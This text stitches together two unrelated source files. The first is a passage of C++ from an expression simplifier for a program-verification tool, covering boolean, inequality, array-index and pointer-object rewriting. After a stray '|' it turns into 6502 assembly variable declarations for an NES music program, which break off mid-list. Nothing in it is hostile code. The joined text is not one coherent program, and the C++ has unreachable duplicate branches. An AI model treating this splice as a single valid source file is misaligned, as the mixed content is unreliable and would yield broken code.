exprt::operandst &operands=expr.operands();
if(!expr.type().is_bool()) return true;
if(expr.id()=="=>")
{
if(operands.size()!=2 ||
!operands.front().type().is_bool() ||
!operands.back().type().is_bool())
return true;
// turn a => b into !a || b
expr.id("or");
expr.op0().make_not();
simplify_node(expr.op0(), mode);
simplify_node(expr, mode);
return false;
}
else if(expr.id()=="<=>")
{
if(operands.size()!=2 ||
!operands.front().type().is_bool() ||
!operands.back().type().is_bool())
return true;
if(operands.front().is_false())
{
expr.id("not");
operands.erase(operands.begin());
return false;
}
else if(operands.front().is_true())
{
exprt tmp(operands.back());
expr.swap(tmp);
return false;
}
else if(operands.back().is_false())
{
expr.id("not");
operands.erase(++operands.begin());
return false;
}
else if(operands.back().is_true())
{
exprt tmp(operands.front());
expr.swap(tmp);
return false;
}
}
else if(expr.id()=="or" ||
expr.is_and() ||
expr.id()=="xor")
{
if(operands.size()==0) return true;
bool result=true;
exprt::operandst::const_iterator last;
bool last_set=false;
for(exprt::operandst::iterator it=operands.begin();
it!=operands.end();)
{
if(!it->type().is_bool()) return true;
bool is_true=it->is_true();
bool is_false=it->is_false();
if(expr.is_and() && is_false)
{
expr.make_false();
return false;
}
else if(expr.id()=="or" && is_true)
{
expr.make_true();
return false;
}
bool erase;
if(expr.is_and())
erase=is_true;
else
erase=is_false;
if(last_set && *it==*last &&
(expr.id()=="or" || expr.is_and()))
erase=true; // erase duplicate operands
if(erase)
{
it=operands.erase(it);
result=false;
}
else
{
last=it;
last_set=true;
it++;
}
}
// search for a and !a
if(expr.is_and() || expr.id()=="or")
{
// first gather all the a's with !a
std::set<exprt> expr_set;
forall_operands(it, expr)
if(it->id()=="not" &&
it->operands().size()==1 &&
it->type().is_bool())
expr_set.insert(it->op0());
// now search for a
forall_operands(it, expr)
if(expr_set.find(*it)!=expr_set.end())
{
expr.make_bool(expr.id()=="or");
return false;
}
}
if(operands.size()==0)
{
if(expr.is_and())
expr.make_true();
else
expr.make_false();
return false;
}
else if(operands.size()==1)
{
exprt tmp(operands.front());
expr.swap(tmp);
return false;
}
return result;
}
else if(expr.id()=="=" || expr.id()=="notequal")
{
if(operands.size()==2 && operands.front()==operands.back())
{
if(expr.id()=="=")
{
expr.make_true();
return false;
}
else
{
expr.make_false();
return false;
}
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_bitnot
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_bitnot(exprt &expr)
{
if(!expr.has_operands()) return true;
exprt::operandst &operands=expr.operands();
if(operands.size()!=1) return true;
exprt &op=operands.front();
if(expr.type().id()=="bv" ||
expr.type().id()=="unsignedbv" ||
expr.type().id()=="signedbv")
{
if(op.type()==expr.type())
{
if(op.id()=="constant")
{
std::string value=op.value().as_string();
for(unsigned i=0; i<value.size(); i++)
value[i]=(value[i]=='0')?'1':'0';
exprt tmp("constant", op.type());
tmp.value(value);
expr.swap(tmp);
return false;
}
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::get_values
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::get_values(
const exprt &expr,
value_listt &value_list)
{
if(expr.is_constant())
{
mp_integer int_value;
if(to_integer(expr, int_value))
return true;
value_list.insert(int_value);
return false;
}
else if(expr.id()=="if")
{
if(expr.operands().size()!=3)
return true;
return get_values(expr.op1(), value_list) ||
get_values(expr.operands().back(), value_list);
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_inequality
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_inequality(exprt &expr, modet mode)
{
exprt::operandst &operands=expr.operands();
if(!expr.type().is_bool()) return true;
if(operands.size()!=2) return true;
// types must match
if(expr.op0().type()!=expr.op1().type())
return true;
// first see if we compare to a constant
bool op0_is_const=expr.op0().is_constant();
bool op1_is_const=expr.op1().is_constant();
if(op0_is_const && op1_is_const)
{
if(expr.op0().type().is_bool())
{
bool v0=expr.op0().is_true();
bool v1=expr.op1().is_true();
if(expr.id()=="=")
{
expr.make_bool(v0==v1);
return false;
}
else if(expr.id()=="notequal")
{
expr.make_bool(v0!=v1);
return false;
}
}
else if(expr.op0().type().id()=="fixedbv")
{
fixedbvt f0(expr.op0());
fixedbvt f1(expr.op1());
if(expr.id()=="notequal")
expr.make_bool(f0!=f1);
else if(expr.id()=="=")
expr.make_bool(f0==f1);
else if(expr.id()==">=")
expr.make_bool(f0>=f1);
else if(expr.id()=="<=")
expr.make_bool(f0<=f1);
else if(expr.id()==">")
expr.make_bool(f0>f1);
else if(expr.id()=="<")
expr.make_bool(f0<f1);
else
assert(false);
return false;
}
else if(expr.op0().type().id()=="floatbv")
{
std::cerr << "floatbv currently unsupported, sorry" << std::endl;
abort();
}
else
{
mp_integer v0, v1;
if(to_integer(expr.op0(), v0))
return true;
if(to_integer(expr.op1(), v1))
return true;
if(expr.id()=="notequal")
expr.make_bool(v0!=v1);
else if(expr.id()=="=")
expr.make_bool(v0==v1);
else if(expr.id()==">=")
expr.make_bool(v0>=v1);
else if(expr.id()=="<=")
expr.make_bool(v0<=v1);
else if(expr.id()==">")
expr.make_bool(v0>v1);
else if(expr.id()=="<")
expr.make_bool(v0<v1);
else
assert(false);
return false;
}
}
else if(op0_is_const)
{
// we want the constant on the RHS
if(expr.id()==">=")
expr.id("<=");
else if(expr.id()=="<=")
expr.id(">=");
else if(expr.id()==">")
expr.id("<");
else if(expr.id()=="<")
expr.id(">");
expr.op0().swap(expr.op1());
simplify_inequality_constant(expr, mode);
return false;
}
else if(op1_is_const)
{
return simplify_inequality_constant(expr, mode);
}
else
return simplify_inequality_not_constant(expr, mode);
assert(false);
return false;
}
/*******************************************************************\
Function: simplify_exprt::eliminate_common_addends
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::eliminate_common_addends(
exprt &op0,
exprt &op1)
{
// we can't eliminate zeros
if(op0.is_zero() || op1.is_zero()) return true;
if(op0.id()=="+")
{
bool result=true;
Forall_operands(it, op0)
if(!eliminate_common_addends(*it, op1))
result=false;
return result;
}
else if(op1.id()=="+")
{
bool result=true;
Forall_operands(it, op1)
if(!eliminate_common_addends(op0, *it))
result=false;
return result;
}
else if(op0==op1)
{
// elimination!
op0=gen_zero(op0.type());
op1=gen_zero(op1.type());
return false;
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_inequality_not_constant
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_inequality_not_constant(
exprt &expr, modet mode)
{
exprt::operandst &operands=expr.operands();
// eliminate strict inequalities
if(expr.id()=="notequal")
{
expr.id("=");
simplify_inequality_not_constant(expr, mode);
expr.make_not();
simplify_not(expr, mode);
return false;
}
else if(expr.id()==">")
{
expr.id(">=");
// swap operands
expr.op0().swap(expr.op1());
simplify_inequality_not_constant(expr, mode);
expr.make_not();
simplify_not(expr, mode);
return false;
}
else if(expr.id()=="<")
{
expr.id(">=");
simplify_inequality_not_constant(expr, mode);
expr.make_not();
simplify_not(expr, mode);
return false;
}
else if(expr.id()=="<=")
{
expr.id(">=");
// swap operands
expr.op0().swap(expr.op1());
simplify_inequality_not_constant(expr, mode);
return false;
}
// now we only have >=, =
assert(expr.id()==">=" || expr.id()=="=");
// syntactically equal?
if(operands.front()==operands.back())
{
expr.make_true();
return false;
}
// try constants
value_listt values0, values1;
bool ok0=!get_values(expr.op0(), values0);
bool ok1=!get_values(expr.op1(), values1);
if(ok0 && ok1)
{
bool first=true;
bool result=false; // dummy initialization to prevent warning
bool ok=true;
// compare possible values
forall_value_list(it0, values0)
forall_value_list(it1, values1)
{
bool tmp;
const mp_integer &int_value0=*it0;
const mp_integer &int_value1=*it1;
if(expr.id()==">=")
tmp=(int_value0 >= int_value1);
else if(expr.id()=="=")
tmp=(int_value0 == int_value1);
else
assert(0);
if(first)
{
result=tmp;
first=false;
}
else if(result!=tmp)
{
ok=false;
break;
}
}
if(ok)
{
expr.make_bool(result);
return false;
}
}
// see if we can eliminate common addends on both sides
// on bit-vectors, this is only sound on '='
if(expr.id()=="=")
if(!eliminate_common_addends(expr.op0(), expr.op1()))
{
// remove zeros
simplify_node(expr.op0(), mode);
simplify_node(expr.op1(), mode);
simplify_inequality(expr, mode);
return false;
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_inequality_constant
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_inequality_constant(
exprt &expr,
modet mode)
{
assert(expr.op1().is_constant());
if(expr.op1().type().id()=="pointer")
return true;
// is it a separation predicate?
if(expr.op0().id()=="+")
{
// see if there is a constant in the sum
if(expr.id()=="=" || expr.id()=="notequal")
{
mp_integer constant=0;
bool changed=false;
Forall_operands(it, expr.op0())
{
if(it->is_constant())
{
mp_integer i;
if(!to_integer(*it, i))
{
constant+=i;
*it=gen_zero(it->type());
changed=true;
}
}
}
if(changed)
{
// adjust constant
mp_integer i;
to_integer(expr.op1(), i);
i-=constant;
expr.op1()=from_integer(i, expr.op1().type());
simplify_addition_substraction(expr.op0(), mode);
simplify_inequality(expr, mode);
return false;
}
}
}
// is the constant zero?
if(expr.op1().is_zero())
{
if(expr.id()==">=" &&
expr.op0().type().id()=="unsignedbv")
{
// zero is always smaller or equal something unsigned
expr.make_true();
return false;
}
exprt &operand=expr.op0();
if(expr.id()=="=")
{
// rules below do not hold for >=
if(operand.id()=="unary-")
{
if(operand.operands().size()!=1) return true;
exprt tmp;
tmp.swap(operand.op0());
operand.swap(tmp);
return false;
}
else if(operand.id()=="+")
{
// simplify a+-b=0 to a=b
if(operand.operands().size()==2)
{
// if we have -b+a=0, make that a+(-b)=0
if(operand.op0().id()=="unary-")
operand.op0().swap(operand.op1());
if(operand.op1().id()=="unary-" &&
operand.op1().operands().size()==1)
{
exprt tmp(expr.id(), expr.type());
tmp.operands().resize(2);
tmp.op0().swap(operand.op0());
tmp.op1().swap(operand.op1().op0());
expr.swap(tmp);
return false;
}
}
}
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_relation
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_relation(exprt &expr, modet mode)
{
bool result=true;
// special case
if((expr.id()=="=" || expr.id()=="notequal") &&
expr.operands().size()==2 &&
expr.op0().type().id()=="pointer")
{
const exprt *other=NULL;
if(expr.op0().is_constant() &&
expr.op0().value().as_string()=="NULL")
other=&(expr.op1());
else if(expr.op1().is_constant() &&
expr.op1().value().as_string()=="NULL")
other=&(expr.op0());
if(other!=NULL)
{
if(other->is_address_of() &&
other->operands().size()==1)
{
if(other->op0().id()=="symbol" ||
other->op0().id()=="member")
{
expr.make_bool(expr.id()!="=");
return false;
}
}
}
}
if(expr.id()=="=" || expr.id()=="notequal" ||
expr.id()==">=" || expr.id()=="<=" ||
expr.id()==">" || expr.id()=="<")
result=simplify_inequality(expr, mode) && result;
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_ieee_float_relation
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_ieee_float_relation(exprt &expr __attribute__((unused)))
{
std::cerr << "floatbv currently unsupported, sorry" << std::endl;
abort();
}
/*******************************************************************\
Function: simplify_exprt::simplify_with
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_with(exprt &expr)
{
bool result=true;
if((expr.operands().size()%2)!=1)
return true;
// now look at first operand
if(expr.op0().type().id()=="struct")
{
if(expr.op0().id()=="struct" ||
expr.op0().id()=="constant")
{
while(expr.operands().size()>1)
{
const irep_idt &component_name=
expr.op1().component_name();
if(!to_struct_type(expr.op0().type()).
has_component(component_name))
return result;
unsigned number=to_struct_type(expr.op0().type()).
component_number(component_name);
expr.op0().operands()[number].swap(expr.op2());
expr.operands().erase(++expr.operands().begin());
expr.operands().erase(++expr.operands().begin());
result=false;
}
}
}
else if(expr.op0().type().is_array())
{
if(expr.op0().is_array() ||
expr.op0().id()=="constant")
{
while(expr.operands().size()>1)
{
mp_integer i;
if(to_integer(expr.op1(), i))
break;
if(i<0 || i>=expr.op0().operands().size())
break;
if(!expr.op2().is_constant())
break;
expr.op0().operands()[integer2long(i)].swap(expr.op2());
expr.operands().erase(++expr.operands().begin());
expr.operands().erase(++expr.operands().begin());
result=false;
}
}
}
if(expr.operands().size()==1)
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
result=false;
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_index
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_index(index_exprt &expr, modet mode)
{
if(expr.operands().size()!=2) return true;
if(expr.op0().id()=="with")
{
exprt &with_expr=expr.op0();
if(with_expr.operands().size()!=3) return true;
if(with_expr.op1()==expr.op1())
{
// simplify (e with [i:=v])[i] to v
exprt tmp;
tmp.swap(with_expr.op2());
expr.swap(tmp);
return false;
}
else
{
// turn (a with i:=x)[j] into (i==j)?x:a[j]
// watch out that the type of i and j might be different
equality_exprt equality_expr(expr.op1(), with_expr.op1());
if(equality_expr.lhs().type()!=equality_expr.rhs().type())
equality_expr.rhs().make_typecast(equality_expr.lhs().type());
simplify_relation(equality_expr, mode);
index_exprt new_index_expr;
new_index_expr.type()=expr.type();
new_index_expr.array()=with_expr.op0();
new_index_expr.index()=expr.op1();
simplify_index(new_index_expr, mode); // recursive call
exprt if_expr("if", expr.type());
if_expr.reserve_operands(3);
if_expr.move_to_operands(equality_expr);
if_expr.copy_to_operands(with_expr.op2());
if_expr.move_to_operands(new_index_expr);
simplify_if(if_expr);
expr.swap(if_expr);
return false;
}
}
else if(expr.op0().id()=="constant" ||
expr.op0().is_array())
{
if(mode==NORMAL)
{
mp_integer i;
if(to_integer(expr.op1(), i))
{
}
else if(i<0 || i>=expr.op0().operands().size())
{
// out of bounds
}
else
{
// ok
exprt tmp;
tmp.swap(expr.op0().operands()[integer2long(i)]);
expr.swap(tmp);
return false;
}
}
}
else if(expr.op0().id()=="string-constant")
{
if(mode==NORMAL)
{
mp_integer i;
const irep_idt &value=expr.op0().value();
if(to_integer(expr.op1(), i))
{
}
else if(i<0 || i>value.size())
{
// out of bounds
}
else
{
// terminating zero?
char v=(i==value.size())?0:value[integer2long(i)];
exprt tmp=from_integer(v, expr.type());
expr.swap(tmp);
return false;
}
}
}
else if(expr.op0().id()=="array_of")
{
if(expr.op0().operands().size()==1)
{
exprt tmp;
tmp.swap(expr.op0().op0());
expr.swap(tmp);
return false;
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_object
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_object(exprt &expr)
{
if(expr.id()=="+")
{
if(expr.type().id()=="pointer")
{
// kill integers from sum
for(unsigned i=0; i<expr.operands().size(); i++)
if(expr.operands()[i].type().id()=="pointer")
{
exprt tmp=expr.operands()[i];
expr.swap(tmp);
simplify_object(expr);
return false;
}
}
}
else if(expr.id()=="typecast")
{
if(expr.operands().size()==1 &&
expr.op0().type().id()=="pointer")
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
simplify_object(expr);
return false;
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_pointer_object
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_pointer_object(exprt &expr)
{
if(expr.operands().size()!=1) return true;
exprt &op=expr.op0();
return simplify_object(op);
}
/*******************************************************************\
Function: simplify_exprt::simplify_is_dynamic_object
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_is_dynamic_object(exprt &expr)
{
if(expr.operands().size()!=1) return true;
exprt &op=expr.op0();
return simplify_object(op);
}
/*******************************************************************\
Function: simplify_exprt::objects_equal
Inputs:
Outputs:
Purpose:
\*******************************************************************/
tvt simplify_exprt::objects_equal(const exprt &a, const exprt &b)
{
if(a==b) return tvt(true);
if(a.is_address_of() && b.is_address_of() &&
a.operands().size()==1 && b.operands().size()==1)
return objects_equal_address_of(a.op0(), b.op0());
if(a.id()=="constant" && b.id()=="constant" &&
a.value().as_string()=="NULL" && b.value().as_string()=="NULL")
return tvt(true);
return tvt(tvt::TV_UNKNOWN);
}
/*******************************************************************\
Function: simplify_exprt::objects_equal_address_of
Inputs:
Outputs:
Purpose:
\*******************************************************************/
tvt simplify_exprt::objects_equal_address_of(const exprt &a, const exprt &b)
{
if(a==b) return tvt(true);
if(a.id()=="symbol" && b.id()=="symbol")
{
if(a.identifier()==b.identifier())
return tvt(true);
}
else if(a.id()=="index" && b.id()=="index")
{
if(a.operands().size()==2 && b.operands().size()==2)
return objects_equal_address_of(a.op0(), b.op0());
}
else if(a.id()=="member" && b.id()=="member")
{
if(a.operands().size()==1 && b.operands().size()==1)
return objects_equal_address_of(a.op0(), b.op0());
}
return tvt(tvt::TV_UNKNOWN);
}
/*******************************************************************\
Function: simplify_exprt::simplify_same_object
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_same_object(exprt &expr)
{
if(expr.operands().size()!=2) return true;
bool result=true;
if(!simplify_object(expr.op0())) result=false;
if(!simplify_object(expr.op1())) result=false;
tvt res=objects_equal(expr.op0(), expr.op1());
if(res.is_true())
{
expr.make_true();
return false;
}
else if(res.is_false())
{
expr.make_false();
return false;
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_dynamic_size
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_dynamic_size(exprt &expr)
{
if(expr.operands().size()!=1) return true;
exprt &op=expr.op0();
return simplify_object(op);
}
/*******************************************************************\
Function: simplify_exprt::simplify_valid_object
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_valid_object(exprt &expr)
{
if(expr.operands().size()!=1) return true;
exprt &op=expr.op0();
return simplify_object(op);
}
/*******************************************************************\
Function: simplify_exprt::simplify_member
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_member(member_exprt &expr)
{
if(expr.operands().size()!=1) return true;
const irep_idt &component_name=expr.component_name();
exprt &op=expr.op0();
if(op.id()=="with")
{
if(op.operands().size()>=3)
{
exprt::operandst &operands=op.operands();
while(operands.size()>1)
{
exprt &op1=operands[operands.size()-2];
exprt &op2=operands[operands.size()-1];
if(op1.component_name()==component_name)
{
// found it!
exprt tmp;
tmp.swap(op2);
expr.swap(tmp);
return false;
}
else // something else, get rid of it
operands.resize(operands.size()-2);
}
if(op.operands().size()==1)
{
exprt tmp;
tmp.swap(op.op0());
op.swap(tmp);
// do this recursively
simplify_member(expr);
}
return false;
}
}
else if(op.id()=="struct" ||
op.id()=="constant")
{
if(op.type().id()=="struct")
{
const struct_typet &struct_type=to_struct_type(op.type());
if(struct_type.has_component(component_name))
{
unsigned number=struct_type.component_number(component_name);
exprt tmp;
tmp.swap(op.operands()[number]);
expr.swap(tmp);
return false;
}
}
}
return true;
}
/*******************************************************************\
Function: sort_and_join
Inputs:
Outputs:
Purpose:
\*******************************************************************/
struct saj_tablet
{
const char *id;
const char *type_id;
} const saj_table[]=
{
{ "+", "integer" },
{ "+", "natural" },
{ "+", "real" },
{ "+", "complex" },
{ "+", "rational" },
{ "+", "unsignedbv" },
{ "+", "signedbv" },
{ "+", "floatbv" },
{ "+", "pointer" },
{ "*", "integer" },
{ "*", "natural" },
{ "*", "real" },
{ "*", "complex" },
{ "*", "rational" },
{ "*", "unsignedbv" },
{ "*", "signedbv" },
{ "*", "floatbv" },
{ "and", "bool" },
{ "or", "bool" },
{ "xor", "bool" },
{ "bitand", "unsignedbv" },
{ "bitand", "signedbv" },
{ "bitand", "floatbv" },
{ "bitor", "unsignedbv" },
{ "bitor", "signedbv" },
{ "bitor", "floatbv" },
{ "bitxor", "unsignedbv" },
{ "bitxor", "signedbv" },
{ "bitxor", "floatbv" },
{ NULL, NULL }
};
bool sort_and_join(const irep_idt &id, const irep_idt &type_id)
{
for(unsigned i=0; saj_table[i].id!=NULL; i++)
if(id==saj_table[i].id &&
type_id==saj_table[i].type_id)
return true;
return false;
}
/*******************************************************************\
Function: sort_and_join
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::sort_and_join(exprt &expr)
{
bool result=true;
if(!expr.has_operands()) return true;
if(!::sort_and_join(expr.id(), expr.type().id()))
return true;
// check operand types
forall_operands(it, expr)
if(!::sort_and_join(expr.id(), it->type().id()))
return true;
// join expressions
for(unsigned i=0; i<expr.operands().size();)
{
if(expr.operands()[i].id()==expr.id())
{
unsigned no_joined=expr.operands()[i].operands().size();
expr.operands().insert(expr.operands().begin()+i+1,
expr.operands()[i].operands().begin(),
expr.operands()[i].operands().end());
expr.operands().erase(expr.operands().begin()+i);
i+=no_joined;
result=false;
}
else
i++;
}
// sort it
result=sort_operands(expr.operands()) && result;
return result;
}
/*******************************************************************\
Function:
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_unary_minus(exprt &expr)
{
if (config.options.get_bool_option("int-encoding") &&
expr.type().id() != "fixedbv" && expr.type().id() != "signedbv")
// Never simplify a unary minus if we're using integer encoding. The SMT
// solver is going to have its own negative representation, and this
// conflicts with the current irep representation of binary-in-a-string.
// Specifically, the current 01_cmbc_Malloc1 test encodes:
//
// o = n - 1;
//
// as
//
// o = n + 4294967295
//
// Which may be fine in bit-vector mode, but that calculation does _not_
// wrap around in integer mode. So, block such simplification of unary-'s.
//
// Update: After further thought that kind of overflowing is fine for
// _signed_ types. This is because the binary2integer routine will observe
// that the expr is signed, and interpret its value as negative. Which is
// ok.
return true;
if(expr.operands().size()!=1)
return true;
if(!is_number(expr.type()))
return true;
exprt &operand=expr.op0();
if(expr.type()!=operand.type())
return true;
if(operand.id()=="unary-")
{
if(operand.operands().size()!=1)
return true;
if(!is_number(operand.op0().type()))
return true;
exprt tmp;
tmp.swap(expr.op0().op0());
expr.swap(tmp);
return false;
}
else if(operand.id()=="constant")
{
const irep_idt &type_id=expr.type().id();
if(type_id=="integer" ||
type_id=="signedbv" ||
type_id=="unsignedbv")
{
mp_integer int_value;
if(to_integer(expr.op0(), int_value))
return true;
exprt tmp=from_integer(-int_value, expr.type());
if(tmp.is_nil())
return true;
expr.swap(tmp);
return false;
}
else if(type_id=="fixedbv")
{
fixedbvt f(expr.op0());
f.negate();
expr=f.to_expr();
return false;
}
else if(type_id=="floatbv")
{
std::cerr << "floatbv currently unsupported, sorry" << std::endl;
abort();
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_node
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_node(exprt &expr, modet mode)
{
if(!expr.has_operands()) return true;
bool result=true;
result=sort_and_join(expr) && result;
if(expr.id()=="typecast")
result=simplify_typecast(expr, mode) && result;
else if(expr.id()=="=" || expr.id()=="notequal" ||
expr.id()==">" || expr.id()=="<" ||
expr.id()==">=" || expr.id()=="<=")
result=simplify_relation(expr, mode) && result;
else if(expr.id()=="if")
result=simplify_if(expr) && result;
else if(expr.id()=="with")
result=simplify_with(expr) && result;
else if(expr.id()=="index")
result=simplify_index(to_index_expr(expr), mode) && result;
else if(expr.id()=="member")
result=simplify_member(to_member_expr(expr)) && result;
else if(expr.id()=="pointer_object")
result=simplify_pointer_object(expr) && result;
else if(expr.id()=="is_dynamic_object")
result=simplify_is_dynamic_object(expr) && result;
else if(expr.id()=="same-object")
result=simplify_same_object(expr) && result;
else if(expr.id()=="dynamic_size")
result=simplify_dynamic_size(expr) && result;
else if(expr.id()=="valid_object")
result=simplify_valid_object(expr) && result;
else if(expr.id()=="switch")
result=simplify_switch(expr) && result;
else if(expr.id()=="/")
result=simplify_division(expr) && result;
else if(expr.id()=="mod")
result=simplify_modulo(expr) && result;
else if(expr.id()=="bitnot")
result=simplify_bitnot(expr) && result;
else if(expr.id()=="mod")
{
}
else if(expr.id()=="bitnot" ||
expr.id()=="bitand" ||
expr.id()=="bitor" ||
expr.id()=="bitxor")
result=simplify_bitwise(expr) && result;
else if(expr.id()=="ashr" || expr.id()=="lshr" || expr.id()=="shl")
result=simplify_shifts(expr) && result;
else if(expr.id()=="+" || expr.id()=="-")
result=simplify_addition_substraction(expr, mode) && result;
else if(expr.id()=="*")
result=simplify_multiplication(expr) && result;
else if(expr.id()=="unary-")
result=simplify_unary_minus(expr) && result;
else if(expr.id()=="not")
result=simplify_not(expr, mode) && result;
else if(expr.id()=="=>" || expr.id()=="<=>" ||
expr.id()=="or" || expr.id()=="xor" ||
expr.is_and())
result=simplify_boolean(expr, mode) && result;
else if(expr.id()=="comma")
{
if(expr.operands().size()!=0)
{
exprt tmp;
tmp.swap(expr.operands()[expr.operands().size()-1]);
expr.swap(tmp);
result=false;
}
}
else if(expr.id()=="dereference")
result=simplify_dereference(expr) && result;
else if(expr.is_address_of())
result=simplify_address_of(expr) && result;
else if(expr.id()=="pointer_offset")
result=simplify_pointer_offset(expr) && result;
else if(expr.id()=="concatenation")
result=simplify_concatenation(expr) && result;
else if(expr.id()=="ieee_float_equal" ||
expr.id()=="ieee_float_notequal")
result=simplify_ieee_float_relation(expr) && result;
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_rec(exprt &expr, modet mode)
{
// look up in cache
#ifdef USE_CACHE
std::pair<simplify_expr_cachet::containert::iterator, bool>
cache_result=simplify_expr_cache.container(mode).
insert(std::pair<exprt, exprt>(expr, exprt()));
if(!cache_result.second) // found!
{
const exprt &new_expr=cache_result.first->second;
if(new_expr.id()=="")
return true; // no change
expr=new_expr;
return false;
}
#endif
bool result=true;
modet sub_mode=mode;
if(expr.is_address_of())
sub_mode=ADDRESS_OF;
if(expr.has_operands())
Forall_operands(it, expr)
if(!simplify_rec(*it, sub_mode)) // recursive call
result=false;
if(!simplify_node(expr, mode)) result=false;
#ifdef USE_CACHE
// save in cache
if(!result)
cache_result.first->second=expr;
#endif
return result;
}
/*******************************************************************\
Function: simplify
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify(exprt &expr)
{
simplify_exprt simplify_expr;
return simplify_expr.simplify(expr);
}
|
.include "nesaudio.h"
.include "pr8.h"
.segment "ZEROPAGE"
vblankFlag: .RES 1
vblankLastFlag: .RES 1
doNotInterrupt: .RES 1
curPrgBank: .RES 1
oldPrgBank: .RES 1
curWramBank: .RES 1
oldWramBank: .RES 1
tmp0: .RES 1
tmp1: .RES 1
tmp2: .RES 1
tmp3: .RES 1
tmp4: .RES 1
debug0: .RES 1
debug1: .RES 1
VAPU: .RES $15
VAPU_03_OLD: .RES 1
VAPU_07_OLD: .RES 1
PAD1_jt: .RES 2
PAD1_lr: .RES 1
PAD1_ud: .RES 1
PAD1_str: .RES 1
PAD1_sel: .RES 1
PAD1_fireb: .RES 1
PAD1_firea: .RES 1
PAD1_oldlr: .RES 6
PAD1_dlr: .RES 1
PAD1_dud: .RES 1
PAD1_dsta: .RES 1
PAD1_dsel: .RES 1
PAD1_dfireb: .RES 1
PAD1_dfirea: .RES 1
PAD2_jt: .RES 2
PAD2_lr: .RES 1
PAD2_ud: .RES 1
PAD2_str: .RES 1
PAD2_sel: .RES 1
PAD2_fireb: .RES 1
PAD2_firea: .RES 1
PAD2_oldlr: .RES 6
PAD2_dlr: .RES 1
PAD2_dud: .RES 1
PAD2_dsta: .RES 1
PAD2_dsel: .RES 1
PAD2_dfireb: .RES 1
PAD2_dfirea: .RES 1
processVector: .RES 2
editModeVector: .RES 2
jumpVector: .RES 2
dmaProcessBuffer:
.RES 32
errorCount: .RES 1
maxDma: .RES 1
editorTmp0: .RES 1
editorTmp1: .RES 1
editorTmp2: .RES 1
editorTmp3: .RES 1
editorTmp4: .RES 1
editorTmp5: .RES 1
editorTmp6: .RES 1
plyrTmp0: .RES 1
plyrTmp1: .RES 1
plyrTmp2: .RES 1
plyrTmp3: .RES 1
plyrTrackVectorLo:
.RES numberOfTracks
plyrTrackVectorHi:
.RES numberOfTracks
editorDecoding: .RES 1
editorMultiHintIndex:
.RES 1
;------------------------------------------------------------------------------
.segment "RAM"
;------------------------------------------------------------------------------
; SPRITE RAM
;------------------------------------------------------------------------------
sprBuf: .include "spr_vars.asm"
;------------------------------------------------------------------------------
; Drum Variables (per Track)
;------------------------------------------------------------------------------
noteNumberA0: .RES 1 ;need to be in this order for arpeggio
arpNotesA0: .RES 2
noteNumberA1: .RES 1 ;need to be in this order for arpeggio
arpNotesA1: .RES 2
noteNumberA2: .RES 1 ;need to be in this order for arpeggio
arpNotesA2: .RES 2
noteNumberA3: .RES 1 ;need to be in this order for arpeggio
arpNotesA3: .RES 2
noteNumberA4: .RES 1 ;need to be in this order for arpeggio
arpNotesA4: .RES 2
noteNumberA5: .RES 1 ;need to be in this order for arpeggio
arpNotesA5: .RES 2
noteNumberB0: .RES 1 ;need to be in this order for arpeggio
arpNotesB0: .RES 2
noteNumberB1: .RES 1 ;need to be in this order for arpeggio
arpNotesB1: .RES 2
noteNumberB2: .RES 1 ;need to be in this order for arpeggio
arpNotesB2: .RES 2
noteNumberB3: .RES 1 ;need to be in this order for arpeggio
arpNotesB3: .RES 2
noteNumberB4: .RES 1 ;need to be in this order for arpeggio
arpNotesB4: .RES 2
noteNumberB5: .RES 1 ;need to be in this order for arpeggio
arpNotesB5: .RES 2
noteNumberC0: .RES 1 ;need to be in this order for arpeggio
arpNotesC0: .RES 2
noteNumberC1: .RES 1 ;need to be in this order for arpeggio
arpNotesC1: .RES 2
noteNumberC2: .RES 1 ;need to be in this order for arpeggio
arpNotesC2: .RES 2
noteNumberC3: .RES 1 ;need to be in this order for arpeggio
arpNotesC3: .RES 2
noteNumberC4: .RES 1 ;need to be in this order for arpeggio
